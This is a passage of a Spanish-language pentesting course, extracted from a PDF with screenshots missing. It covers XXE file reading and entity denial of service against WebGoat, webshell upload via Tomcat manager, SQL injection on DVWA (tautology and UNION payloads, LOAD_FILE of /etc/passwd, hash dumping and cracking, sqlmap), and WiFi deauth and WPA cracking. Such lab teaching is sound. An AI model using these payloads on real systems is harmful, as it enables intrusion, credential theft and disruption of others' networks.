<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>
<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>
</películas>
581
Web
Aunque la forma externa (external DTD) es más límpia, debido a que para aprovecharnos
de la vulnerabilidad vamos a necesitar la forma interna (internal DTD), continuaremos
usando internal DTD en lo que queda de guía. En un doctype, no sólo podemos definir los
elementos válidos, sino también podemos definir entidades (entities) XML. Al igual que
ocurre en el lenguaje HTML, en XML podemos usar entidades para representar caracteres
que de otra forma no podríamos. Por ejemplo, imaginemos que en el lenguaje HTML,
quisiéramos representar el símbolo menor qué (<) o mayor qué (>). Estos símbolos se usan
en las etiquetas HTML y XML, si los usáramos, se interpretaría cómo que estamos
utilizando una etiqueta y, probablemente, sobre todo en el caso del símbolo menor qué, no
se mostraría correctamente el contenido. Para que no exista duda entre si estamos usando
una etiqueta o simplemente queremos mostrar el símbolo, existen las entidades. Para usar
una entidad se escribe el símbolo & seguido del código de la entidad y terminamos en ;. Por
ejemplo, si quisiéramos representar el símbolo menor qué, usaríamos <
algunas entidades como mayor qué o menor qué vienen definidas en el lenguaje HTML y
XML. Por ejemplo:
582
Web
Sin embargo, XML también nos da la oportunidad de crear nuestras propias entidades XML
en el doctype utilizando la etiqueta !ENTITY. Veamos un ejemplo, creemos una entidad para
referirnos a nuestra película favorita. Para ello, creamos la etiqueta:
<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita "El club de los poetas muertos">
]>
583
Web
<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita "El club de los poetas muertos">
]>
<películas>
<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>
<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>
</películas>
<título>&favorita;</título>
584
Web
en el documento XML:
<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita "El club de los poetas muertos">
]>
<películas>
<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>
<película prestada="no">
<título>&favorita;</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>
</películas>
585
Web
586
Web
Al igual que ocurre con los doctypes que podían definirse internamente en el documento
XML (internal DTD) o externamente indicando una URI (external DTD), con las entidades
XML ocurre exactamente lo mismo. Aquí hemos visto cómo definir una entidad en el
doctype del documento XML pero también podemos definirla aparte. Para ello creamos un
documento XML que, por ejemplo, se llame [Link]. Copiamos la entidad:
y la pegamos en el fichero:
587
Web
<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita SYSTEM "[Link]">
]>
<películas>
<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>
<película prestada="no">
<título>&favorita;</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>
</películas>
Y este es el vector de ataque: XML External Entities. Como hemos visto estas entidades
podemos definirlas a gusto en el doctype de cualquier documento XML y, cuando los datos
en formato XML sean procesados, si la validación de los datos no se hace de forma
correcta, se sustituirá la entidad XML por el contenido que haya en la URI que indiquemos
sea cual sea.
Leyendo ficheros
588
Web
Por ejemplo, ¿qué pasaría si le indicasemos la ruta a un fichero? Vamos a probar este
ejemplo contra la aplicación WebGoat de OWASP. Para ello, en el menú de la izquierda,
hacemos click sobre el desplegable Parameter Tampering y seleccionamos XML External
Entity (XXE):
Antes de usarlo iniciamos Burpsuite y, como webgoat se levanta por defecto en el mismo
puerto que Burpsuite, vamos a las opciones del proxy de burp y en Proxy Listeners
pulsamos en el botón Add:
589
Web
590
Web
Si vamos a burpsuite, veremos que la petición HTTP ha sido interceptada y que los datos
del payload van en formato XML:
591
Web
Si pulsamos sobre la pestaña XML, podremos ver los datos en un formato mucho más
agradable:
Aquí es donde podremos modificar el contenido XML que enviamos al servidor. En este
caso vamos a definir un entidad externa que haga referencia al fichero /etc/passwd. Para
ello, definimos un doctype, en este caso lo llamaré ataquexxe y la entidad XML que
queramos en este caso leerpasswd:
<!DOCTYPE ataquexxe [
<!ENTITY leerpasswd SYSTEM "[Link]
]>
592
Web
La URI la indico utilizando el scheme file que me permite leer ficheros en el navegador. Una
vez definido el doctype, lo añado a la petición original y incluyo la entidad &leerpasswd;
entre las etiquetas from. Después pulso el botón forward para enviar los datos XML al
servidor:
y vemos que el servidor no parsea correctamente nuestra petición y nos permite usar una
URI con el scheme file para leer ficheros. Pulsamos, nuevamente el botón forward:
593
Web
594
Web
<?xml version="1.0"?>
<!DOCTYPE ataquexxe [
<!ENTITY random SYSTEM "[Link]
]>
<searchForm>
<from>&random;</from>
</searchForm>
tras un rato, hacemos click nuevamente en el botón forward para enviar la respuesta del
servidor al navegador:
595
Web
en principio parece que, aunque haya tardado un poco más, no ha pasado nada:
Vamos a la pestaña HTTP history hacemos click con el botón derecho del ratón sobre la
petición que acabamos de hacer y seleccionamos Send to Repeater del menú desplegable
para realizar nuevamente la petición:
596
Web
Repeater nos va a permitir repetir una petición HTTP modificando las cabeceras o
parámetros que queramos. Para ello, sólo debemos pulsar el botón Go:
597
Web
Si pulsamos el botón más de dos veces, observaremos que la respuesta del servidor tarda
en llegar:
598
Web
Sin embargo, como Repeater hace las peticiones de una en una, desde aquí es muy dificil
que podamos tirar el servicio o degradarlo lo suficiente. Para poder tirarlo bien, vamos a
hacer las peticiones desde la línea de comandos usando curl. Para ello, copiamos la
cabecera cookie:
que es la que contiene nuestra sesión activa en la web y añadimos la cabecera Content-
Type para indicar que los datos del payload van en formato XML. La petición quedaría así:
599
Web
Una vez que probamos que funciona vamos a ir lanzando muchas peticiones en segundo
plano. Para ello, utilzamos el caracter & tras el comando curl:
veremos un error:
600
Web
Si copiamos el texto:
y lo pegamos en fichero con extensión html, podremos visualizarlo de forma más ordenada:
En este caso, la aplicación WebGoat seguirá en pie, pero este es un ataque que no todas
las aplicaciones web están preparadas para soportar. Para ampliar conocimientos, os dejo
los siguientes enlaces:
xml-external-entity-xxe-vulnerabilities
601
Web
Billion_laughs_attack
quadratic-blowup-denial-of-service-attack
602
Web
Desde donde podremos acceder al panel de administración, llamado manager, del servidor
Apache Tomcat:
603
Web
Desde el manager, podemos ganar acceso remoto a la máquina subiendo una webshell. En
este caso el lenguaje es Java. Aunque siempre que hagamos un ejercicio real, deberíamos
programar la webshell, en este caso, vamos a ver cómo subir una webshell que ya viene
por defecto en Kali Linux. Las webshells están en la ruta /usr/share/laudanum:
En este caso, nos interesan las webshells jsp (Java Server Pages). En este caso, vamos a
usar la webshell [Link]:
604
Web
605
Web
606
Web
Veremos un formulario para subir imágenes. Pulsamos el botón Browse para buscar la
imagen que queramos subir:
607
Web
608
Web
este es el comportamiento normal que esperamos, pero que pasa si subimos un fichero, por
ejemplo, con extensión php. Creamos un fichero con la funcion phpinfo de php:
<?php
phpinfo();
?>
609
Web
610
Ataques a bases de datos
2. MySQL
Referencias usadas
MySQL y MariaDB
FALTA LA INTRODUCCIÓN
Iniciamos el servicio de mysql:
mysql -u root -p
para logarnos:
611
Ataques a bases de datos
Por convención, los comandos de SQL se escriben con mayúsculas. El primer comando
que ejecutaremos es SHOW DATABASES para que nos muestre las bases de datos
disponibles. Acabamos las sentencias SQL con punto y coma (;). Entre las bases de datos
disponibles, vemos 2 que nos serán de interés más adelante:
mysql
information_schema
Vamos a crear una base de datos para aprender un poco de SQL antes de comenzar a
realizar inyecciones. Para crear una base de datos, usaremos el comando CREATE
DATABASE seguido del nombre de la base de datos. En este caso, llamaremos a la base
de datos pruebas:
Para interactuar con la base de datos que hemos creado, usaremos el comando USE
seguido de las base de datos que queremos usar. En este caso pruebas:
612
Ataques a bases de datos
Veremos más ejemplos de cómo usar SELECT muy pronto pero primero necesitamos
tablas. Para ver las tablas que tiene la base de datos que estamos utilizando, usamos el
comando SHOW TABLES:
En este caso, como la base de datos acaba de ser creada, no tiene tablas. Vamos a crear
una tabla usando el comando CREATE TABLE. Antes de ver cómo crear la tabla, veamos
un par de tipos de datos para poder crearla:
613
Ataques a bases de datos
Ahora si volvemos a ejecutar el comando SHOW TABLES, veremos que la base de datos
se ha creado correctamente:
Para ver las columnas de la base de datos que hemos creado usaremos el comando SHOW
COLUMNS FROM seguido del nombre de la tabla:
Ya que tenemos una tabla, podemos usar el comando SELECT para consultar información
de la misma. Para ello, indicamos a SELECT las columnas de la tabla que queremos, por
ejemplo, nombre y edad, y el nombre de la tabla:
614
Ataques a bases de datos
En este caso, no hay datos. Vamos a introducir datos en la tabla de la forma más sencilla.
Para ello usaremos el comando INSERT INTO seguido del nombre la tabla, después
pondremos VALUES y los valores que queramos insertar. Por ejemplo:
Añadamos unas cuantas filas más a nuestra tabla. Para ello, utilizaremos el comando
INSERT de la siguiente forma:
615
Ataques a bases de datos
Podemos contar el número de filas que hay en nuestra base de datos usando la función
COUNT de MySQL:
Veremos que hay 8 filas. Nuevamente podemos usar SELECT para ver el contenido de las
8 filas:
Muchas veces necesitamos usar filtros para poder recuperar sólo la información de la base
de datos que nos interese. Los filtros van comprobando fila por fila si se cumple una
condición y, en caso de que en esa fila se cumpla, muestran los resultados de esa fila. Para
realizar filtros vamos a usar el comando WHERE seguido de la condición o condiciones por
las que queramos filtrar. Por ejemplo, imaginemos que queremos saber las personas cuyo
color favorito es el negro. Para ello, realizamos la siguiente busqueda:
616
Ataques a bases de datos
SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'negro';
Como hemos mencionado, también podemos realizar busquedas con varias condiciones
apoyandonos del comando:
Veamos ejemplos. Seleccionemos las personas cuyo color favorito es el negro o el rosa:
SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'negro' OR color_favorito = 'rosa';
o seleccionamos las personas cuyo color favorito sea el negro y sean menores de 40 años:
SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'negro' AND edad < 40;
617
Ataques a bases de datos
También podemos poner condiciones imposibles. Por ejemplo, seleccionemos las personas
que tienen a la vez 30 y 50 años. Es decir, es algo imposible porque o bien tienen 30 o bien
50 pero no ambas:
SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE edad = 30 AND edad = 50;
El resultado de la consulta son 0 filas porque hemos dado una condición imposible de
cumplir. Sin embargo, vamos a hacer ahora lo contrario, vamos a dar una condición que
pase lo que pase, siempre se cumpla. Por ejemplo, podemos comparar 2 valores que sean
iguales. En este caso, podemos comparar la palabra trasto consigo misma:
SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE 'trasto'='trasto';
618
Ataques a bases de datos
y como un trasto es un trasto, pues nos devolverá todos los resultados. Como hemos
comentado anteriormente, el filtro va, fila por fila, evaluando si es verdad la condición del
filtro y, si lo és, nos muestra los datos de esa fila. En este caso, como la condición del filtro
es siempre verdadera, nos devuelve todos los datos. Como veremos más adelante, esto es
un problema para la seguridad de una aplicación web en la que no se validen correctamente
los datos ya que un usuario con malas intenciones puede aprovecharse de esto para añadir
condiciones que siempre sean verdad utilizando el operador OR. Veamos un ejemplo.
Seleccionemos todos los usuarios cuyo color favorito sea el morado:
SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'morado';
Vemos que sólo hay una persona cuyo color favorito sea morado. Ahora podemos sacar
partido del operador OR para añadir una segunda condición que siempre sea verdad:
SELECT *
FROM colores_favoritos_alumnos_sabados
WHERE color_favorito = 'morado' OR 'trasto'='trasto';
Veremos que se muestran todos los resultados de la tabla ya que la consulta devuelve los
resultados que cumplan una de las siguientes condiciones:
619
Ataques a bases de datos
Ira comprobando fila a fila si cumplen alguna de las condiciones y, como una de las
condiciones es verdad siempre, se mostrarán todos los resultados. Utilizaremos está
técnica más adelante con distintos fines.
Sentencias UNION
Las bases de datos nos permiten unir datos de distintas tablas. La forma de unirlos es
usando sentencias JOIN y sentencias UNION. JOIN se sale del alcance de esta pequeña
guía, por lo que nos centraremos en UNION. Para poder experimentar con UNION creamos
una segunda tabla que se llame colores_favoritos_alumnos_viernes:
620
Ataques a bases de datos
Ahora que tenemos 2 tablas, podemos unirlas. UNION representa la unión matemática de
dos conjuntos. Es decir, va a mostrar todos los resultados que haya en ambas tablas pero,
si hubiese filas repetidas, sólo las mostrará una vez. Veamos un ejemplo:
Debido a que todos los alumnos que asisten el sábado a clase, también asisten el viernes,
sólo se muestran 10 resultados. Si quisiéramos que se mostrase todo, incluyendo los
repetidos, debemos usar la sentencia UNION ALL. Veamos un ejemplo:
621
Ataques a bases de datos
Veamos ahora que ocurre, si seleccionamos en una tabla un número distinto de columnas
que en la otra. Por ejemplo, omitimos la columna edad en la tabla
colores_favoritos_alumnos_viernes:
Como vemos no es posible y MariaDB nos muestra un error. Es decir, que como ponemos
una tabla debajo de otra, ambas deben tener el mismo número de columnas. Hasta ahora,
hemos utilizado UNION para seleccionar datos que esten en una tabla pero, si os
622
Ataques a bases de datos
recordamos ejemplos anteriores, MariaDB cuenta con funciones que podemos USAR con
las sentencias SELECT. Por ejemplo, hemos visto las funciones DATABASE() y COUNT().
Vamos a utilizarlas en la siguiente consulta:
Como vemos, en la última fila de los resultados, bajo la columna edad tenemos el nombre
de la base de datos y bajo la columna color_favorito, tenemos el número de filas de la tabla
colores_favoritos_alumnos_sabados. Esta técnica también la usaremos para extraer
información de la base de datos. En estos ejemplos, estamos consultando información en
las tablas de la base de datos pruebas, pero también podemos consultar datos de tablas
que se encuentren en otras bases de datos. Por ejemplo, podemos consultar datos de la
tabla user de la base de datos mysql. Cuando queramos acceder a una tabla de una base
de datos distinta a la que estamos usando, debemos indicarlo con la notación
[Link]:
623
Ataques a bases de datos
En este caso, sólo esta dado de alta el usuario de root y no tiene contraseña. Lo último que
vamos a ver es la forma de realizar comentarios en mysql. Aunque existen 3 formas de
hacer comentarios en una base de datos MySQL, vamos a ver el más conocido que es usar
doble guión. Todo lo que venga despues del doble guión será ignorado. Veamos un
ejemplo:
DVWA SQLi
Vamos a practicar lo que hemos aprendido con dvwa. Para ello, hacemos click sobre el
botón SQL Injection:
624
Ataques a bases de datos
vemos que nos devuelve los datos del usuario correspondiente al ID:
Pensemos cómo puede ser esta query en SQL. Probablemente será algo así:
625
Ataques a bases de datos
Es decir, nosotros podemos modificar todo lo que haya entre las comillas:
Pero que pasa si, en vez de escribir un número en el formulario, ponemos una comilla:
Al poner una comilla, cerramos el texto que podemos cambiar, y se abre una nueva comilla
que nunca se cierra:
626
Ataques a bases de datos
esto podemos arreglarlo, añadiendo una segunda comilla que cierre el texto que antes
hemos señalado en amarillo:
de esta forma el punto y coma (;) no queda como si fuera texto y, si probamos en dvwa:
' OR 'trasto'='trasto
627
Ataques a bases de datos
Debido a esto, como el filtro siempre será verdad, debería devolvernos todos los resultados.
Probemosló en dvwa. Tecleamos el payload en el formulario y pulsamos el botón Submit:
Como vemos que podemos alterar la consulta del programador, vamos a intentar usar
sentencias UNION para intentar sacar información de la base de datos. Para ello, tenemos
que averiguar el número de columnas. Comencemos probando si la tabla que devuelve la
consulta tiene sólo una columna. Para ello, por ejemplo, vamos a utilizar el siguiente
payload:
628
Ataques a bases de datos
Probemoslo en dvwa:
' UNION SELECT 'no tiene una', 'a ver si tiene 2' --'
629
Ataques a bases de datos
Vemos que tiene dos columnas porque, en vez de darnos error, nos muestra los resultados:
De hecho, podemos probar a ver si tiene 3 columnas, para confirmar que nos vuelve a
mostrar el mensaje de error. Esta vez, en vez de frases, usaremos números en el payload:
630
Ataques a bases de datos
Una vez que confirmamos que podemos extraer datos utilizando sentencias UNION, vamos
a comenzar a averiguando el nombre de la base de datos que se está utilizando con la
función DATABASE() y la versión de MySQL con la función VERSION():
631
Ataques a bases de datos
Normalmente la versión de la base de datos suele ser más que un número. Como no se nos
ha mostrado correctamente vamos a ayudarnos de la función CONCAT de MySQL que nos
permite unir dos cadenas de texto para sacar la versión de la base de datos correctamente.
Para ello, tecleamos en el formulario:
Podemos sacar a continuación el nombre del usuario que se esta usando para realizar las
consultas en la base de datos:
632
Ataques a bases de datos
Lo cual es muy mala práctica. MySQL tiene una función que se llama LOAD_FILE que nos
va a permitir leer ficheros. Vamos a utilizar esta función para extraer todos los usuarios de la
máquina leyendo el archivo /etc/passwd:
Si recordamos del principio del capítulo, en mysql, por defecto, vienen creadas las bases de
datos information_schema y mysql. La base de datos information_schema contine
información sobre el resto de bases de datos como, por ejemplo, qué tablas tiene cada base
de datos o qué columnas tiene cada tabla. Una de las tablas interesante de esta base de
datos es columns. La tabla columns de la base de datos information_schema almacena el
nombre de todas las tablas y todas las columnas de cada tabla de todas las bases de datos
en el servidor MySQL. Para ampliar información sobre la tabla columns, podemos consultar
la documentación oficial de MySQL. En este caso, vamos a consultar todas las columnas de
cada tabla de cada una de las bases de datos. Para ello, solicitaremos las columnas:
table_schema
table_name
633
Ataques a bases de datos
column_name
Por ejemplo, encontramos la base de datos dvwa y vemos que tiene una tabla que se llama
users que, entre otras, contiene las columnas user y password:
634
Ataques a bases de datos
Asimismo también podemos ver la información de la otra base de datos que viene creada
por defecto, que se llama mysql, y que tiene una tabla que se llama user con las columnas
user y password:
Con esta información, por ejemplo, vamos a consultar los usuarios y las contraseñas de la
tabla users de la base de datos dvwa. De esta forma, podremos tener acceso a todos los
usuarios de la aplicación dvwa. Para ello, copiamos la consulta:
635
Ataques a bases de datos
Las contraseñas han sido hasheadas. Copiamos el hash que queramos crackear:
636
Ataques a bases de datos
y, como aprendimos en un tema anterior, podemos averiguar de qué hash se trata utilizando
los programas hash-identifier o hashid:
Vemos que nos da 2 resultados posibles. Vamos a comenzar probando con MD5. Copiamos
el hash a un fichero:
y lo crackeamos:
637
Ataques a bases de datos
El proxy de burpsuite capturará la petición HTTP. Pulsamos Forward para enviar la petición
al servidor:
638
Ataques a bases de datos
A continuación, desde la pestaña HTTP History, hacemos click con el botón derecho sobre
la petición (Request) y seleccionamos Copy to file del menú desplegable:
639
Ataques a bases de datos
Una vez tenemos guardada la petición post en ese fichero, vamos a lanzar sqlmap. Para
ello, usamos las opciones:
640
Ataques a bases de datos
ahora que sabemos que explotable a través de UNION, vamos a indicarle que use esta
técnica con la opción --technique=U y vamos a pedirle que nos muestre el usuario de la
base datos con --current-user:
641
Ataques a bases de datos
Podemos ahora usar --current-db en vez de current-user, para que nos muestre la base de
datos que se esta usando:
642
Ataques a bases de datos
Una vez sabemos las bases de datos, podemos intentar listar todas las tablas de una de
ellas. Por ejemplo, intentemos listar todas las tablas de la base de datos dvwa. Para ello,
incluimos la opción --tables para que nos devuelva las tablas y la opción -D para restringir
los resultados a la base de datos que queramos:
Una vez que vemos las tablas, podemos ver las columnas de una tabla. Por ejemplo,
intentemos ver las columnas de la tabla users. Para ello, utilizaremos la opción --columns
para indicar que queremos las columnas y la opción -T para indicar la tabla:
643
Ataques a bases de datos
Una vez que tenemos la tabla, si queremos extraer su contenido, usaremos la opción --
dump:
Como detectará hashes, nos preguntará si queremos crackearlos. En este caso pulsamos
Intro para aceptar que intente crackear los hashes y cuando nos pregunte qué diccionario
usar, tecleamos 1 y pulsamos Intro:
644
Ataques a bases de datos
Veremos que en pocos segundos, los hashes son crackeados y podemos ver las
contraseñas en texto plano:
Cuando nos enfrentamos a una aplicación de este tipo, aunque no sabemos exactamente
cuál es la consulta SQL que hace el programador para comprobar las credenciales que le
pasamos, normalmente es algo así:
645
Ataques a bases de datos
Es decir, podemos controlar los datos que se pasarán como usuario y como contraseña. La
idea es intentar encontrar un usuario válido y hacer que no se compruebe la contraseña. En
este caso, en vez de un usuario válido, vamos a buscar una condición que siempre sea
verdad para el campo usuario y comentaremos lo demas. Por ejemplo, podemos usar el
payload
646
Ataques a bases de datos
647
Ataques a redes inalámbricas
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
1. Introducción
2. Tarjeta inalámbrica
Primeros comandos
Cambiando la dirección MAC de la tarjeta inalámbrica
Activar modo monitor
3. Capturando tráfico
airodump-ng
5. Cracking
Ataque de diccionario contra WPA/WPA2 usando aircrack-ng
Construyendo diccionarios con crunch
Referencias usadas
1. Libros
648
Ataques a redes inalámbricas
2. Tarjeta inalámbrica
Primeros comandos
Una vez conectada la tarjeta inalámbrica, podemos usar el comando netstat con la opción -i
para visualizar todas las interfaces de red:
o el habitual ifconfig:
Una vez esta deshabilitada, veremos que no aparece al listar las interfaces con netstat:
649
Ataques a redes inalámbricas
o ifconfig:
Sin embargo, aunque esté desactivada, podemos ver la interfaz con la opción -a de ifconfig:
650
Ataques a redes inalámbricas
Otro comando que podemos utilizar para configurar y visualizar las interfaces, es iwconfig:
Algunos programas que usaremos para realizar ataques a redes inalámbricas tienen
opciones para cambiar la dirección MAC de nuestra interfaz (tarjeta) inalámbrica pero, en
caso de que no las tuvieran, podemos usar el comando ifconfig para asignar la dirección
MAC que queramos a nuestra tarjeta inalámbrica. Para ello, deshabilitamos la interfaz
inalámbrica:
651
Ataques a redes inalámbricas
Aunque hemos utilizado ifconfig para cambiar la dirección MAC de una interfaz inalámbrica,
también sería válido para cambiar la dirección MAC de cualquier otra interfaz de red. Otro
programa que podemos utilizar para cambiar la MAC de las interfaces es macchanger. Para
usarlo, le pasamos al programa macchanger la interfaz sobre la que queramos realizar los
cambios y las opciones que queramos usar. Por ejemplo, para visualizar la MAC de una
interfaz, le pasamos la opción --show:
o la opción -a para que nos facilite una dirección MAC aleatoria del mismo tipo y de
cualquier fabricante:
652
Ataques a redes inalámbricas
si lo que queremos es que sea totalmente aleatoria, podemos usar la opción -r:
Si queremos capturar todos los paquetes que estén a nuestro alcance -destinados a nuestra
MAC o no- debemos activar el modo monitor. El modo más sencillo de activarlo es usar el
comando iwconfig. Para ello, como venimos haciendo, deshabilitamos la interfaz
inalámbrica usando ifconfig:
653
Ataques a redes inalámbricas
para volver a dejar la interfaz en modo cliente, podemos deshabilitar la interfaz con ifconfig
y usar nuevamente iwconfig:
después habilitar nuevamente la interfaz y comprobar con iwconfig que los cambios han
sido realizados:
Antes de iniciar el modo monitor, vamos a comprobar si hubiese procesos que pudiesen
interferir con el modo monitor. Para ello, le pasamos la opción check al programa airmon-ng:
654
Ataques a redes inalámbricas
Para finalizar todos los procesos que podrían interferir, aparte de la opción check,
pasaremos la opción kill a airmon-ng:
Tras haber revisado los procesos, activamos el modo monitor pasandole la opción start
seguida de la interfaz inalámbrica al programa airmon-ng:
655
Ataques a redes inalámbricas
capturar paquetes que estén a nuestro alcance aunque no sean para nosotros. Para
desactivar el modo monitor, pasaremos la opción stop seguido de la interfaz inalámbrica al
comando airmon-ng:
3. Capturando tráfico
airodump-ng
Una vez que hemos activado el modo monitor, seremos capaces de capturar todos los
paquetes dentro del alcance de nuestra tarjeta inalámbrica. Para capturar el tráfico,
podemos usar el programa airodump-ng de la suite aircrack. Para ello, le pasamos a
airodump-ng la interfaz inalámbrica. En este caso wlan0mon:
Mientras captura podremos visualizar las redes inalámbricas que estan a nuestro alcance e
información de las mismas como:
656
Ataques a redes inalámbricas
Hemos visto como usar airodump-ng para capturar paquetes de las redes inalámbricas a
nuestro alcance, pero una vez seleccionamos una red inalámbrica objetivo, es más efectivo
capturar paquetes sólo de esa red. Para ello, vamos a usar airodump-ng pasandole las
siguientes opciones:
--channel => para indicar el canal en el que está emitiendo el punto de acceso
--bssid => para indicar la dirección MAC del punto de acceso
--write nombreFicheroDondeGuardarLaCaptura => para guardar la captura en un
fichero
interfaz inalámbrica a usar:
escribimos el comando:
veremos que ahora tenemos 2 secciones. Una ya la conocemos porque es la misma que
teníamos cuando usabamos airodump-ng para capturar el tráfico de todas las redes
inalámbricas a nuestro alcance. La otra sección contiene información de los clientes que
están conectados a ese punto de acceso:
657
Ataques a redes inalámbricas
STATION Nos indica la dirección MAC del cliente que está conectado a la red
Rate Indica la velocidad máxima del dispositivo
Lost Indica los paquetes que se han perdido en la comunicación
Frames Indica los paquetes útiles que hemos capturado
Tras finalizar la captura, podremos ver los ficheros que airodump-ng ha creado:
Vemos que detrás de los ficheros creados ha puesto 01 para indicar que nuestra primera
captura.
Falsifica la dirección MAC del cliente (MAC Spoofing) y envía paquetes para
deautenticarse al punto de acceso o router inalámbrico
Falsifica la dirección MAC del punto de acceso (MAC Spoofing) y envia paquetes al
cliente para indicarle que debe volver a autenticarse
El programa de la suite aircrack que nos permite hacer esto es airplay-ng. Vamos a ver
como expulsar a un cliente específico. Primero usariamos airodump-ng para ver todos los
clientes conectados a la red inalámbrica que queramos atacar:
658
Ataques a redes inalámbricas
vemos que hay un cliente conectado. Vamos a ver como hacer que ese usuario pierda la
conexión. Para ello, pasaremos al comando aireplay-ng, los siguientes parámetros:
Para poder ver lo que está pasando en tiempo real, podemos dejar airodump-ng corriendo y
abrir una segunda terminal para ejecutar aireplay-ng:
Cuando pulsemos intro, se comenzarán a enviar paquetes y podremos ver como crece la
cantidad de paquetes perdidos (Lost) en la sección del cliente de airodump-ng:
659
Ataques a redes inalámbricas
airodump-ng wlan0mon
En la captura vemos una red que no está emitiendo su nombre (ESSID). Si la red tiene
mucho tráfico, airodump-ng será capaz de descubrirlo sin que hagamos nada ya que,
cuando se conecten dispositivos a esa red inalámbrica, tendrán que enviar el ESSID de la
660
Ataques a redes inalámbricas
red para poder conectar. Sin embargo, puede darse el caso que la red no tenga tanto tráfico
y nos toque hacerlo a mano. Para ello, lo que vamos a hacer es ver los clientes
(dispositivos) conectados a esa red:
Vemos que hay un dispositivo conectado. Lo que vamos a hacer es desconectarlo utilizando
un ataque deauth con aireplay-ng para obligar al dispositivo a conectarse de nuevo al punto
de acceso y para ello emitir el ESSID de la red. En este caso, como queremos que la
perdida de conexión dure lo menos posible para que sea lo menos perceptible por el
usuario, mandaremos pocos paquetes para que la perdida de conexión del cliente sea de
pocos segundos:
Podemos ver que, aunque enviemos pocos paquetes, el ataque funciona y podemos ver el
ESSID de la red.
Cracking
Hay 3 tipos de cifrado principales que podemos usar en las redes inalámbricas:
WEP
WPA
WPA2
661
Ataques a redes inalámbricas
1. Capturar el handshake
2. Un diccionario
Vamos a ver primero cómo capturar el handshake. Para elo, usaremos airodump-ng para
capturar paquetes y aireplay-ng para desconectar un dispositivo y obligarle a conectarse de
nuevo. Para empezar, ejecutamos airodump-ng para ver las redes a nuestro alcance y
elegir la red objetivo:
Una vez elegida la red, utilizamos nuevamente airodump-ng para capturar paquetes de esa
red y guardarlos en un fichero que en este caso he llamado target_handshake:
Una vez ejecutemos el comando, veremos los clientes que están conectados al punto de
acceso (AP) de la red inalámbrica. En este caso sólo 1:
662
Ataques a redes inalámbricas
Para poder capturar el handshake, vamos a lanzar un ataque deauth con aireplay-ng para
obligar al dispositivo a conectarse de nuevo al punto de acceso (AP) de la red inalámbrica.
Para conectarse de nuevo a la red inalámbrica, se tendrá que hacer el handshake y es ahí
donde lo capturaremos. Tecleamos el comando que ya conocemos:
y lo ejecutamos:
663
Ataques a redes inalámbricas
Ya tenemos la primera parte, un fichero con la captura del handshake. Ahora vamos a
contruir un diccionario (lista) con las palabras que pensamos que pueden ser la contraseña.
Para ello, utilizamos el editor de texto que queramos:
y si la clave está entre las palabras del diccionario, nos mostrará el mensaje KEY FOUND!
cuando pruebe la clave:
664
Ataques a redes inalámbricas
-o nombreDelFicheroDondeSeGuardaránLasPalabras
-t patrónASeguir
% representa un número
@ representa una letra minúscula
Vamos a ver algunos ejemplos. Para crear un diccionario que contenga todas las
combinaciones con un mínimo de 3 a un máximo de 5 cifras posibles, ejecutaremos crunch
de la siguiente manera:
665
Ataques a redes inalámbricas
